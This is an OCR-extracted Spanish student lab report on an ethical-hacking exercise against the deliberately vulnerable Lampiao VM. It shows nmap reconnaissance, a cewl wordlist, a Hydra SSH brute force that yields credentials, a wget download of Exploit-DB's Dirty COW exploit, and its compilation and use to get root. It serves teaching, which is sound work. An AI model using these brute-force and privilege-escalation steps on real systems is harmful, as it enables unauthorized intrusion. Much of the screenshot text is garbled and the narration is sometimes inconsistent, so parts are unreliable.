robustos y monitoreo de logs con el objetivo de transformar la evidencia practica en medidas

concretas para mejorar la seguridad.

6.2. Alcance
Durante este tiempo se realizo6 la configuracion de las maquinas virtuales, se ejecutaron
las pruebas correspondientes, se recopilaron evidencias (capturas de pantalla, salidas de
comandos, configuraciones relevantes) y se sistematizé la informacién en el presente informe,
con el fin de dejar constancia del procedimiento y servir como insumo de estudio para

evaluaciones futuras.



6.3. Objetivos

6.3.1

General

Documentar el proceso completo de reconocimiento, explotacion y post-explotacion sobre la

maquina objetivo (Lampido), aplicando técnicas de escaneo, enumeracion, obtencion de

credenciales, explotacion local y manipulacion de la aplicacion web, para aprender las

vulnerabilidades, su explotacion controlada y las medidas de mitigacién recomendadas.

6.3.2

Especificos

Configurar correctamente el entorno de red entre las maquinas virtuales (atacante
y victima) dentro de VirtualBox, asegurando la conectividad a través de una red
NAT denominada “SEMESTRE9-2025-1".

Realizar el reconocimiento de la red y de la maquina objetivo mediante escaneos
(nmap) para identificar hosts, puertos y versiones de servicios.

Enumerar usuarios y servicios (SSH, MySQL, HTTP, SMB, etc.) usando
herramientas como Metasploit y utilidades de enumeracion.

Generar wordlists especificas del objetivo (cewl) y emplearlas en ataques de
fuerza bruta controlados (hydra) para obtener credenciales validas.

Establecer acceso inicial mediante SSH y transferir los ficheros necesarios (scp),
preparar y compilar exploits locales (g++).

Elaborar un informe que incluya metodologia, comandos usados, resultados,
evidencias (capturas) y recomendaciones de mitigacion para cada vulnerabilidad

explotada.



6.4. Planteamiento Del Problema

En un entorno cada vez mas digitalizado e interconectado, las organizaciones,
instituciones educativas y usuarios particulares dependen en gran medida de sistemas
informaticos que ofrecen multiples servicios en red. Esta creciente dependencia ha traido consigo
una expansion de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde
un atacante podria comprometer la seguridad de un sistema. A pesar de los avances tecnologicos
en software y hardware, muchos servicios siguen presentando fallas de configuracion, versiones
obsoletas o vulnerabilidades conocidas que pueden ser explotadas facilmente si no se identifican

y mitigan a tiempo.

En el ambito educativo, uno de los principales desafios consiste en brindar a los
estudiantes oportunidades para aplicar de forma practica los conocimientos adquiridos en el aula
sobre seguridad informatica, analisis de vulnerabilidades y técnicas de explotacion. Sin embargo,
realizar practicas de hacking ético directamente sobre sistemas reales implica riesgos éticos,
legales y operacionales. Es por ello que el uso de entornos virtualizados, como Metasploitable, se

ha convertido en una herramienta fundamental para el aprendizaje responsable y seguro de estas

habilidades.

A pesar de contar con estos recursos, muchos estudiantes no comprenden con claridad la
forma adecuada de aplicar las herramientas de analisis y explotacion, ni los pasos metodoldgicos
necesarios para llevar a cabo una prueba de penetracion completa y estructurada. El
desconocimiento sobre como descubrir servicios vulnerables, identificar exploits adecuados o
gjecutar un ataque sin comprometer la estabilidad del entorno puede dificultar el proceso de

aprendizaje y limitar la comprension de los conceptos clave de ciberseguridad ofensiva.



Este informe surge como respuesta a la necesidad de documentar de forma clara 'y
practica como realizar una prueba de penetracion ética sobre una maquina vulnerable, replicando
un escenario realista en un entorno académico controlado. En este caso, se hace uso de
herramientas ampliamente reconocidas como Nmap, para el reconocimiento activo de la red,

directorios privados entre otras herramientas que explicaremos a continuacion.



6.5. Subcapitulo 1: Importacion y Configuracion de la Maquina Virtual Lampiao en
VirtualBox.
6.5.1 Importacion de la mdaquina virtual lampiao
Para comenzar a realizar nuestro laboratorio de practica, lo primero que hicimos importa
la maquina por medio de su ovf esto lo hicimos de la siguiente forma.
e P

T — Gae @ 2.

Nueva Afiadir  Configuracion Descartar  Iniciar

GBS Parrot OS 6.4 MATE Security Edition = General

= Guardada [®] Sistema

_ Memoria base: 4203 MB
%!. W-SERVER-2025 Orden de arranque: Disquete, Optica, Disco duro
e Guardada Aceleracién: Paginacién anidada, Paravirtualizac

= Ppantalla
%"’ metap M de vid 128 MB
@A d emoria de video:

== pagada Controlador grafica: VMSVGA

} Servidor de escritorio remoto:  Inhabilitado
RS | WINDOWS XP Grabacién: Inhabilitado

)
L1 (B Guardada =
& Almacenamiento

f3L | win 2003 Controlador: IDE
%‘n‘:‘ @ Apagada Dispositivo IDE secundario 0: [Unidad optica] Vacio
Controlador: SATA

Figura 162. Abrimos VirtualBox

Abrimos virtual box y nos vamos al apartado de archivos, luego de estar aqui le damos al

apartado de importar

a3 Oracle VirtualBox Administrador
Archivo  Maquina Ayuda

&7 Ppreferencias... Control+G

{iu Importar servicio virt Control+|
Exportar servicio virtualizado... Control+E

ﬁE Herramientas L4
Comprobar actualizaciones...

A\ Reiniciar todas las advertencias

@ salir Control+Q

TR gy auE

Figura 163. Importamos la maquina

Luego seleccionamos la hizo seleccionar el ovf para poder tener nuestra maquina.



U5 Importar servicio virtualizado = O >

= Fuente
Fuente: Sisterna de archivos local W
Archivo: @

> Configuracién

Figura 164. Se selecciona el ovf

Aqui le damos clic al apartado de archivos y vamos a la ruta en donde tenemos nuestro

ovf, esto es necesario porque de aqui es donde estaremos importando la maquina.

22 vim [
o B=
Guardada L

Figura 165. Maquina importada

Después de espera el proceso de cargue importacion de nuestra maquina no saldra algo
como lo visto en la figura anterior, aqui lo que haremos es configurar de una el adaptador de red

para poder tener comunicacion con nuestras otras maquinas.

6.5.2 Configuracion de la maquina Lampiao

Para el proceso de configuracion lo que se hizo fue configurar nuestro adaptador de red,
esto se hace con el objetivo de permitir que nuestra maquina tenga comunicacion con las otras
maquinas que estén conectada a esta misma red Nat, para este caso la red Nat tendra el nombre

de semestre 9 2025 1 y la configuraremos de la siguiente manera:



6.5.2.1 Ingresamos a la configuracion

Ingresamos a la configuracion de nuestra maquina Lampiao y nos posicionamos en e

apartado de red tal cual como lo mostramos en esta figura.

&3 vm - Settings

M General
Sistema
M rantaita

] Amacenamiento
(D: Audio

H Red

£ Puertos serie

£ use
Ij Carpetas compartidas

If‘ Interfaz de usuario

Figura 166. Ingresamos al apartado de red

6.5.2.2 Configuramos el adaptador Nat

Luego de posicionarnos aqui lo que haremos es cambiar el apartado conectado a del
adaptador por defecto a Red NAT y esto nos mostrara la red nat creada en un laboratorio anterior

cuyo nombre mencione anteriormente.

= [m] X

Search settings £

Red

Adaptador 1 Adaptador 2 Adaptador 3 = Adaptador 4

Conectado a: Red NAT i
Nombre: | semestre-9-2025-1 e

3r: PCoet-PCE I (AMZOCI70A)

Modo promiscuc: Permitir todo ~

cib MAC - [~

8 cable conectado

Figura 167. Configuracion de la red Nat



6.5.2.3 Configuramos el apartado de portapapeles y copiar y pegar
Aqui basicamente lo que hice fue permitir que desde mi pc fisico pueda pasar
informacion a mi maquina virtual y copiar y pegar por eso lo puse como bidireccional en ambos

Ccasos.

&3 vm - Settings

Sistema Basico  Avanzado  Descripcion  Cifrado de disco
CAUsers\LOCOMPU VirtualBo
|§] Pantalla
_ Portapapeles compartido: Bidireccional ~
/| Almacenamiento
Arrastrar y soltar: Bidireccional v
{n Audio
@ Red

Figura 168. Configuracion avanzada

6.5.3 Ejecutamos la maquina Lampiao
Lo ultimo que hacemos para este caso es ejecutar nuestra maquina Lampio para ver que

las configuraciones hechas funcionaron correctamente.

Pa

buntu 14.904.5 LTS lampiao ttyl

lampiao login:

Figura 169. Ejecucion de la maquina



6.6. Subcapitulo 2: Inicio de Vulneracion de la maquina Lampio
6.6.1 Escaneamos la red del Nat
Lo primero que hicimos fue escanear la red para saber cual es la direccion ip de nuestra

maquina Lampio, esto lo hicimos con el comando nmap -sV 192.1.1.0/24

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-23 23:44 -05
Nmap scan report for 192.1.1.1

Host is up (0.0011s latency).

Not shown: 999 closed tcp ports (reset)

PORT STATE SERVICE VERSION

53/tcp filtered domain

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.1.1.2

Host is up (0.0023s latency).

Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?

MAC Address: 54:00: 5:00 (QEMU virtual NI )
Service Inf 0S: Windows; CPE: cpe:

Nmap scan report for 192.1.1.3

Host is up (0.00020s latency).

All 1000 scanned ports on 192.1.1.3 are in ignored states.

Not wn: 1000 filtered tcp ports (proto-unreach)

MAC : 08:00:27:72:A4:CE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.1.1.17

Host is up (0.00030s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?

1 service unrecognized despite returning data. If you know the service/version, please s
vice :

SF-Port80-TCP: 7%D=9/23%Time=68D3772B%P=x86_64-pc-linux-gnu%r(NULL

Nmap scan report for 192.1.1.17

Host is up (0.00030s latency).

Not shown: 998 closed tcp ports (reset)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http?

1 service unrecognized despite returning data. If you know the service/version, please

0\x20\x20\ L
0\ )\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2 ,\20\x20\x2
:0\x20\x20\x20\x2 0\K70\x‘0\x‘0\x 0\x20\x20\x20\x20\x20\x20\x20\x2
\x20\x20\x20\x20\x20\x2 0\x20\x20\x20\x20\
A\l/\x20 \x20\x20\x20\x20 \x20\x20
\x20 \x20 \ \x20\x20\x20\x20\x20\x20\x2
:0\x20\x20\x20\ X 20\x20\x20\x20\x20\x20\x20\x20\x O\n
:Ax20\x20\ | \x20\ | \x20\ |\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/
:x20/\x20__\1\x20\ 1 \x20\ | \x20\ | \x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20_\
I\x20\ | _\1\x20\|_\x20\x20\\_\x20\\\x20\ |\x20\x20__/\x20\(_\1\x20\\_\x
0\\\x20\ | _\I\x20\|_\x20\x20\x20\x2 x20\x20\x20\x20\x20\>
:0\x20\x20\ O‘\KZO\x‘O\x‘O\ 0\x20\x20\x20\n\x20\\___/\x20\\_
3 \\ : \(\x20\)\x20\x20\x

/\xZO\J/\XZO\
0\x70\x70\\70\\70\x70\x 0
X 20

Figura 170. Escaneamos la red



Aqui identificamos nuestra maquina Lampiao, después procedemos a hacer un escaner a
los primeros 2000 puertos tcp de la ip de nuestra maquina victima. Con el comando nmap -p 1-

2000 192.1.1.17 de la siguiente forma.

1-2000 192.1.1.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-23 23:58 -05
Nmap scan report for 192.1.1.17
Host is up (0.00032s latency).
Not shown: 1997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1898/tcp open cymtec-port
MAC Address: 08:00:27:8D:CA:01 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

Figura 171. Escaneo al ip de lampiao

6.6.2 Ingresamos al home del puerto 80 a través de la ip
Después de este escaneo procedimos a ingresar a la ip de nuestra servicio http que hay en
el puerto 80, para esto fuimos a nuestro navegador e ingresamos la ip de la maquina Lampiao de

la siguiente forma.

& | 1921147 x| +
<« C @ O & 1921117

OffSec Cali Linux #8 Kali Tools « KaliDocs ¥ Kali Forums ¢\ Kali NetHunter Exploit-DB

Figura 172. Ingreamos al home



Al ingresar al home nos salid la imagen que pueden ver a continuacién por lo que

procedimos a ingresar el puerto tcp 1898 que nos encontramos en el escéner.

“m P oOE-

%« Lampiao

C @ O A& 1921147

OffSec Kali Linux #8 KaliTools ¢ KaliDocs X Kali Forums o Kali NetHunter Exploit-DB Google Hackin{

Home
User login ix s A =~
g Lampiao, heroi ou vildo do Sertao?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
Password *

¢ Create new account

¢ Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das f

vida sendo temido e idolatrado pelas pessoas que aterrorizava e

Figura 173. Home de Lampiao

Luego de estar aqui intente registrar un usuario para ver si podia ingresar a la plataforma,

pero como veran, no fue posible hacer esto.

User account

Create new account Log in Request new password

Username *

Spaces are allowed; punctuation is not allowed except for periods, hyphens, apostrophes, and underscores.

E-mail address *
victer@gmail.com

A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public and will o
receive certain news or notifications bv e-mail.

Figura 174. Registro del usuario



@ « Unable to send e-mail. Contact the site administrator if the problem persists.
« Unable to send e-mail. Contact the site administrator if the problem persists

Q Thank you for applying for an account. Your account is currently pending approval by the site administrator.
In the meantime, a welcome message with further instructions has been sent to your e-mail address.

User login s s o =
£ Lampido, hero6i ou vilao do Sertao?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
[AMPIAD,
Password * u;_s%i 9
* Create new account
 Regquest new password

Log in Para uns, um idolo. Para outros, assassino. Lampido, uma das figuras mais misteri

vira condn temidn s idnlatradn nelac nacenac ane aterrarizava o amnarava Coanhe

Figura 175. Denegacion del registro

6.6.3 Utilizamos y eh intentamos crear un Directorios
Después de la denegacion del registro procedimos a intentar conseguir un usuario y

contrasefia dentro que nos permitieran ingresar y loguearnos.

. root@kali: ~
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22 .192.1.1.17 -A (
Starting Nmap 7.95 https://nmap.org ) at 2025-09-25 09:18 -05
Nmap scan report for 192.1.1.17
Host is up (0.00089s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)

:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
2048 f 8:f2:2d:d0:b2:54:0b:9c:ad:61:33:5 3 (RSA)
256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)

_ 256 €6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

MAC Address: 08:00:27:8D:CA:01 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose

Running: Linux 3.X|4.X

0S CPE: cpe: inux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

0S details: Linux 3.2 - 4.14

Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.89 ms 192.1.1.17

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.36 seconds

Figura 176. Se obtiene mds informacion atras ves de nmap-A -sC



Utilice el comando nmap -p 22 192.1.1.17 -A -sC para obtener informacion detallada del
servicio SSH identificado anteriormente ya que lo que queria hacer era intentar sacar un usuario

que me permitiera ingresar a la red.

usuarios posibles
lampiao
herodi

vilao
sertao
assassino
brasil
luizGonzaga
Falou
virgulino
Ferreira

da silva

Figura 177. Posible usuarios

Lo que hicimos fue intentar crear nuestro propio diccionario haciendo un analisis de las
paginas presentes en el home, pero como esto era muy tedioso procedimos a hacerlo mediante

comando.

6.6.4 Creacion de nuestro diccionario
Como queriamos crear nuestro diccionario utilizamos el comando cewl
http://192.1.1.17:1898/ --Write Diclampiao.txt para crear un diccionario con el nombre

Diclampiao y con la extencion . txt



/home/kali
http://192.1.1.17:1898/ te Diclampiao.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
/usr/bin/cewl: unrecognized option "-—-Write'
Usage: cewl [OPTIONS] ... <url>

OPTIONS:

-h, —help: Show help.

-k, —keep: Keep the downloaded file.

-d <x>,-—depth <x>: Depth to spider to, default 2.

-m, —min_word_length: Minimum word length, default 3.

-x, —max_word_length: Maximum word length, default unset.

-0, —offsite: Let the spider visit other sites.

—exclude: A file containing a list of paths to exclude

—allowed: A regex pattern that path must match to be followed

-w, —write: Write the output to the file.

-u, ——ua <agent>: User agent to send.

-n, —no-words: Don't output the wordlist.

-g <x>, -——groups <x>: Return groups of words as well

—lowercase: Lowercase all parsed words

—with-numbers: Accept words with numbers in as well as just letters

—convert-umlauts: Convert common IS0-8859-1 (Latin-1) umlauts (a-ae, 0-oe, u-ue, B-ss)
, —meta: include meta data.
meta_file file: Output file for meta data.

-e, —email: Include email addresses.

—email_file <file>: Output file for email addresses.

—meta-temp-dir <dir>: The temporary directory used by exiftool when parsing files, default /tmp.

-c, —count: Show the count for each word found.

-v, —verbose: Verbose.

—debug: Extra debug information.

Authentication
—auth_type: Digest or basic.

Figura 178. Informacion o luego de crear el diccionario de palabra

El comando cewl http://192.1.1.17:1898/ --write Diclampiao.text rastrea la pagina
indicada, extrae palabras relevantes (titulos, texto y enlaces) y genera una lista de palabras
(diccionario ), guardandola en el archivo Diclampiao.text para usar en ataques de diccionario

posteriores o pruebas internas controladas.

/home/kali
Diclampiao.txt

/home/kali
Diclampiao.txt
Diclampiao. txt

/home/kali
t Diclampiao.txt
Lampido

foote
menu

Figura 179. Visualizacion de nuestro directorio diclampiao

A continuacion, lo que se hizo fue listas el contenido lor archivo con e comando s, se

listo el directorio para confirmar la presencia del archivo y se mostr6 su contenido con el



comando cat Diclampiao.txt. En la salida aparecen las palabras extraidas (por ejemplo:
Lampido, que, main, field, menu, etc.), que ahora pueden limpiarse y utilizarse como diccionario
para ataques de fuerza bruta o pruebas controladas. Para mejorar la lista puede aplicarse sort -u

para eliminar duplicados antes de usarla.

6.6.5 Utilizamos directorio Hydra para nuestro ataque de fuerza bruta

Archivo Acciones Editar Vista Ayuda Captura de pantalla tomad
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Figura 180. Directorio Hydra

Para poder hacer nuestro ataque de fuerza bruta el profe nos recomend6 usar Hydra, esta
es una herramienta de fuerza bruta para probar inicios de sesion contra servicios de red. Es muy
usada por pentesters para comprobar la robustez de contrasefias en servicios como SSH, FTP,
HTTP (formularios), SMB, MySQL, Postgres, RDP, entre muchos otros. Su objetivo es

automatizar intentos masivos de usuario/contrasena usando diccionarios.

g L <] nded to reduce the tasks: use -t &
[DATA] max 16 € o | L1 16 ta log (1:1, tries per task
[DATA] attacking ss 2

Figura 181. Ataque de fuerza bruta



tiago -P Diclampiao.txt ssh

Figura 182. Ataque de fuerza bruta con Hydra contra SSH

Lo que hicimos fue lanzar un ataque de fuerza bruta con Hydra contra SSH usando la
diccionario Diclampiao.txt, tras varios intentos encontramos credenciales validas: usuario tiago
y contrasefia Virgulino. El ataque termin6 mostrando "1 valid password found", con algunos

subprocesos fallidos, pero el acceso se consigui6 al final conseguimos ingresar.

v kali@kali: ~
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Hydra (http E at

[WARNIN Many figurati it the f allel ta recommended to reduce the tasks: use -t 4
[DATA] ma

[DATA] attac -

[VERB i resse A ERBOSE] resolving done

[INFO] Testin f | a e tion is supported b

[INFO] ccessfu jord a e ion is supported b

[ATTEMPT] tar .1.17 gi 0" "DicLampiao. hild @] (e/@)

[STATUS] atta ished f 1) iting for chi )
1 of 1 t completed, i word found
ithub.com/v

Figura 183. Comando con parametros verbosos -v -V

Ejecuté el comando con parametros verbosos -v -V y le indiqué un usuario fijo -l tiagoy
el diccionario Diclampiao.txt como fuente de contrasefias -p Diclampiao.txt , de forma que
Hydra probara todas las entradas del fichero contra ese usuario. El comando comprobd que la

autenticacion por contrasefia estaba habilitada y luego intent6 el login, en esta ejecucion concreta



el resultado fue que no se encontrd contrasena valida. Luego de esto y ya teniendo usuario y

contrasefia intentamos ingresas via ssh.

6.6.6 Tenemos un acceso exitoso por medio de SSH
Para ingresas atras vez de ssh lo que hicimos fue ingresar con el comando ssh

tiago@192.1.1.17 y la contrasefia Virgulino
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tiago®192.1.1.17
@0192.1.1.17"s p3 /
Welcome to Ubuntu 14.84.5 LTS (GNU/Linux 4.4.0-31-generic 168

* Documentation: https://help.ubuntu.com/
System information disabled due to load higher than 1.0

New release "16.04.7 LTS' available.
Run "do-release-upgrade’ to upgrade to it.

Last login: Fri Apr 20 14:40:55 2018 from 192.168.1@8.1
tiago

Figura 184. Acceso exitoso por medio de SSH

Se consiguid un acceso inicial al sistema a través del servicio SSH puerto 22 empleando
el usuario tiago hallado en la fase de reconocimiento. La conexion fue establecida y autenticada

lo que de forma remota nos dio acceso a sistema Lampiao.



6.7. Subcapitulo 3: Descarga de la Herramienta para escalar privilegios y creacion de
los usuarios en Lampiao
Para poder crear los usuarios necesitamos escalar los privilegios asi que lo primero que hicimos
fue descargar una herramienta de GitHub recomendada por el docente S Morales, esta

herramienta fue LinEnum.

Segtin el portal web (wiki.zachelle, 2021) LinEnum es un script bash simple que ejecuta
comandos comunes relacionados con la escalada de privilegios, ahorrando tiempo y
permitiendo dedicar mas esfuerzo a obtener root. Es importante comprender qué
comandos ejecuta LinEnum, para poder enumerar manualmente las vulnerabilidades de
privesc en una situacion en la que no puede usar LinEnum u otros scripts similares. En
esta sala, explicaremos qué muestra LinEnum y qué comandos se pueden usar para

replicarlo.

6.7.1 Descarga del directorio

o4 A nos | @

Captura de pantalla tomad

& Kali NetHunter % Exploit-DB

B neo  BE0lS6 cr e

8z i e om N v A D DA E e o= " m B g 10am

Figura 185. GitHub del directorio LinEnum



Para descargar esta herramienta lo que hicimos fue ingresar al navegador de Kali y buscar

el directorio LinEnum en lo que nos llevo al siguiente enlace

https://github.com/rebootuser/LinEnum?tab=readme-ov-file#
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/home/kali

~

clone https://github.com/rebootuser/LinEnum.git

Clonando en ‘LinEnum’ ...
remote: Enumerating objects: 234, done.

remote: Counting objects: 100% (96/96), done.

remote: Compressing objects: 100% (18/18), done.

remote: Total 234 (delta 81), reused 78 (delta 78), pack-reused 138 (from 1)
Recibiendo objetos: 100% (234/234), 113.83 KiB | 529.00 KiB/s, listo.
Resolviendo deltas: 100% (130/130), listo.

Figura 186. Descargamos el directorio

Para descargar el directorio luego ingresamos a nuestra consola y copiamos el comando
git clone https://github.com/rebootuser/LinEnum.git ya con esto se empez6 a descargar el

directorio.

LinEnum

~/LinEnum

CHANGELOG.md CONTRIBUTORS.md LICENSE LinEnum.sh README.md

~/LinEnum
LinEnum.sh

~/LinEnum

Figura 187. Ingresarmos al directorio LinEnum


https://github.com/rebootuser/LinEnum?tab=readme-ov-file

Aqui lo que hicimos fue ingresar al directorio LinEnum, luego listar los elementos de
nuestra herramienta para escalar privilegios, después de listar los archivos presentes aqui

ingresamos al script LineEnum.sh con el comando nano LineEnum.sh.

L
GNU nano 8.4 LinEnum. sh

G Buscar
M Reempl,

Figura 188. Mostramos el nano LineEnum.sh.

Dentro de este archivo en realidad no hicimos casi nada, en este caso lo muestro con

fines meramente visuales.
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ome to Ubuntu 14 5 LTS (GNU/Lir
* Documentation: htt //help.ubuntu.com/

stem information disabled due to

Figura 189. Nos conectarnos al ssh, para buscar informacion y archivos ocultos



Luego volvimos a conectarnos al ssh, aqui hicimos 4 cosas: la primera cosa que hicimos
fue ingresar al archivo home con el comando ¢d /home; Luego de eso, lo 2 que se hizo fue
listar los archivo donde revisamos que hay una carpeta tiago. Lo 3 que se hizo fue ingresar a esta
carpeta con el comando cd tiago; por ultimo, con el comando Is -la dentro del home/tiago lo

utilizamos para buscar archivos ocultos dentro de esta carpeta.

drwxr-xr-x 4 tiago tiago 4096
drwxr X 3 root root 4096
drwx 2 tiago tiago 4096
-rw 1 tiago tiago 25 2 .bash_history
r— 1 tiago tiago 220 .bash_logout
1 tiago tiago 3637 .bashrc
2 tiago tiago 4096
1 tiago tiago 675 .profile

drwx
-TW-Ir—r—

-Tw root root 577 .viminfo
tiago@lampiao:~

$
tiago@lampiao:~$
tiago@lampiao:~$ cd..
cd..: command not found
tiago@lampiao:~$ cd ..
tiago@lampiao:/home$ cd ..
tiago@lampiao:/$ 1s

tiago@lampiao:/
tiago@lampiao:/
tiago@lampiao:/

Figura 190. Salirnos hasta el directorio raiz con el comando cd ..

Luego de ello lo que busca los archivos ocultos en la carpeta, lo que hicimos después fue
salirnos hasta el directorio raiz con el comando ¢d ..; Luego de lo que listamos los archivos

presentes aqui.

ucf.conf
adduser.conf
switch.conf
updatedb.conf

.net
crontab

kernel-img.conf . r rc.local
debconf.conf
tion debian_ { i wgetrc

t.blacklist deluser.conf W L .conf rity-contest.conf
modules
mtab profile Sy .conf sy conf zsh_command_not_found

environment nanorc protocols

fstab inputrc Le networks timezone

Figura 191. Ingresar a la carpeta o directorio etc, con el comando cd /etc



Lo siguiente que se hizo fue ingresar a la carpeta o directorio etc., con el comando cd /etc

y con el comando Is listamos su contenido.

[1agoalamplao: /e
tiagodlampiao
iag

t odilampiao:/etc

Figura 192. Ingresamos al archivo passwd

Por ultimo, ingresamos al archivo passwd con el comando nano /etc/passwd , aqui como

tal no hicimos nada solo queriamos ver si habia algo que nos sirviera.
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GNU nano 2.2.6 File: /etc/passwd

g ats:/usr/sbin/nologin
nobody

libuuid:

sysl

my'
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https i.exploit-db.com/downloa 7 fotos.cp

p

fotos.cpp =1 € — .-KB/s en @,05s

fotos.cpp
Diclampiao.txt

Figura 194. Descargamos un exploit desde Exploit-DB

Después, utilizando el comando wget https://www.exploit-db.com/download/40847 -O

fotos.cpp descargamos un exploit desde Exploit-DB (guardado como fotos.cpp) y con el



comando s, se verifico que el archivo estuviera en el directorio tal como se puede ver en nuestra

imagen.

e

fotos.cpp tiago@192.1.1.17:/home/tiago/

iagoml92.1.1.17" s password:
4]

t
T S.Cpp 18KB 4.4MB/s

Figura 195. Copiamos el archivo fotos.cpp hacia la victima

Aqui lo que hicimos fue utilizar el comando scp fotos.cpp
tiago@192.1.1.17:/home/tiago/ para copiar el archivo fotos.cpp desde la maquina atacante
hacia el directorio /home/tiago/ en la maquina victima. Al ejecutarlo se solicito la contrasefia
de tiagoy, tras autenticar, scp transfirio el fichero (se muestra el progreso, el tamafio y la
velocidad).
scp usa la misma conexidn segura que SSH, por eso la transferencia queda cifrada. Como
verificacion rapida se puede comprobar en la victima con ssh tiago@192.1.1.17 'ls -1

/home/tiago/fotos.cpp’.



System load: 0 Processes: 164
Usage of /: 7.5% of 19.07GB  Users logged in: 3
Memory 1 IP address for eth@: 192.1.1.17
Swap usage: 0%
Graph this data and manage this
http andscape.canonical.c

New release '16.04.7 LTS' available.
Run ‘do-release-upgrade’ to upgrade to it.

Last login: Sat Sep 27 12:07:13 2025 from 192.1.1.13
tiago@lampiao ls -la 0.cpp
1s: cannot ac foto.cpp: No such file or directory

tiago@lampiao:~$ pwd
/home/tiago
tiago@lampiao:~$ 1s -la ~
total 48
XT=XT-X tiago 4096 Sep 25 17:46
root 4096 Apr 19 2018
tiago 4096 Apr 19 2018
tiago 25 Apr 20 2018 .
tiago 220 Apr 19 2018 .
go tiago 3637 Apr 19 2018 .
go tiago 4096 Apr 19 2018
tiago 10531 Sep 27 12:37 fotos.cpp
tiago 675 Apr 19 2018 .profile
root 577 Apr 19 2018 .viminfo

RPRNRPRRBNWS

Figura 196. Volvemos al ssh

Lo siguiente que hicimos fue iniciar sesion por SSH con ssh tiago@192.1.1.17 para

trabajar directamente en la maquina victima y obtener un prompt remoto.

Luego lo que hicimos fue ejecutar Is -la en el home de tiago para listar todos los archivos
con detalles; la salida muestra permisos, propietario, tamafio y fecha.
lo siguiente que se aprecia es que antes hubo un Is -la foto.cpp que falloé por el nombre sin la “s”,
y luego al listar correctamente se ve fotos.cpp presente en /home/tiago/ con tamafio 10531 bytes

y esto confirma que la copia con scp se realizd correctamente.

tiago@lampiao:~$
tiago@lampiao:~$ 1s
fotos.cpp
tiago@lampiao:~$
tiago@lampiao:~$
tiago@lampiao:~$ 1s -la fotos.cpp

-rw-rw-r— 1 tiago tiago 10531 Sep 27 12:37 fotos.cpp

tiago@lampiao:~$

tiago@lampiao:~$

tiago@lampiao:~$ g++ -Wall -pedantic -02 -std=c++11 -pthread -o documentos fotos.
cpp -lutil

tiago@lampiao:~$ chmod +x documentos

tiago@lampiao:~$ ./ documentos -s

-bash: ./: Is a directory

tiago@lampiao:~$ ./documentos -s

Running ...

Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@lampiao:~# echo @ > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd

root@lampiao:~# rm /tmp/.ssh_bak

root@lampiao:~#

root@lampiao:~# i

Figura 197. Compilamos el codigo fuente



Procedimos a compilar el codigo fuente. Para ello se ejecutd g++ -Wall -pedantic -O2 -
std=c++11 -pthread -o documentos fotos.cpp -lutil, con lo que se gener?6 el ejecutable llamado
documentos. Luego usamos el comando chmod +x documentos y el comando ./documentos -s
que nos permitieron loguearno para poder realizarla creacion de los usuarios victor longay

Manuel mena en la maquina victima.

6.7.2 Creacion de los usuarios

root@lampiao:~#
root@lampiao:~# adduser victor_longa
Adding user "victor_longa’' ...
Adding new group "victor_longa’' (1001)
Adding new user “victor_longa® (1001) with group “victor_longa’
Creating home directory ~/home/victor_longa’
Copying files from " /etc/skel’
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for victor_longa
Enter the new value, or press ENTER for the default
Full Name []: victor manuel longa mena
Room Number []: victor_l1l
Work Phone []: 1213
Home Phone []: 31234
Other []:
Is the information correct? [Y/n] vy
root@lampiao:~# |j

Figura 198. Creamos el 1 usuario.

Aqui lo que hicimos para crear los usuarios fue ejecutar el comando adduser
victor_longa para crear una nueva cuenta de sistema llamada victor longa. Durante el proceso

se mostro:

Adding user 'victor_longa' : el sistema crea la cuenta.

Adding new group 'victor_longa' (1001) : se crea un grupo con el mismo nombre.

Creating home directory ''home/victor_longa' : se crea el directorio personal y se.



A continuacion, se nos pidieron datos opcionales (Full Name, Room Number, Work
Phone, etc.). luego registramos el full name como victor manuel longa mena como nombre

completo y otros valores; al final confirmamos con yes o y.

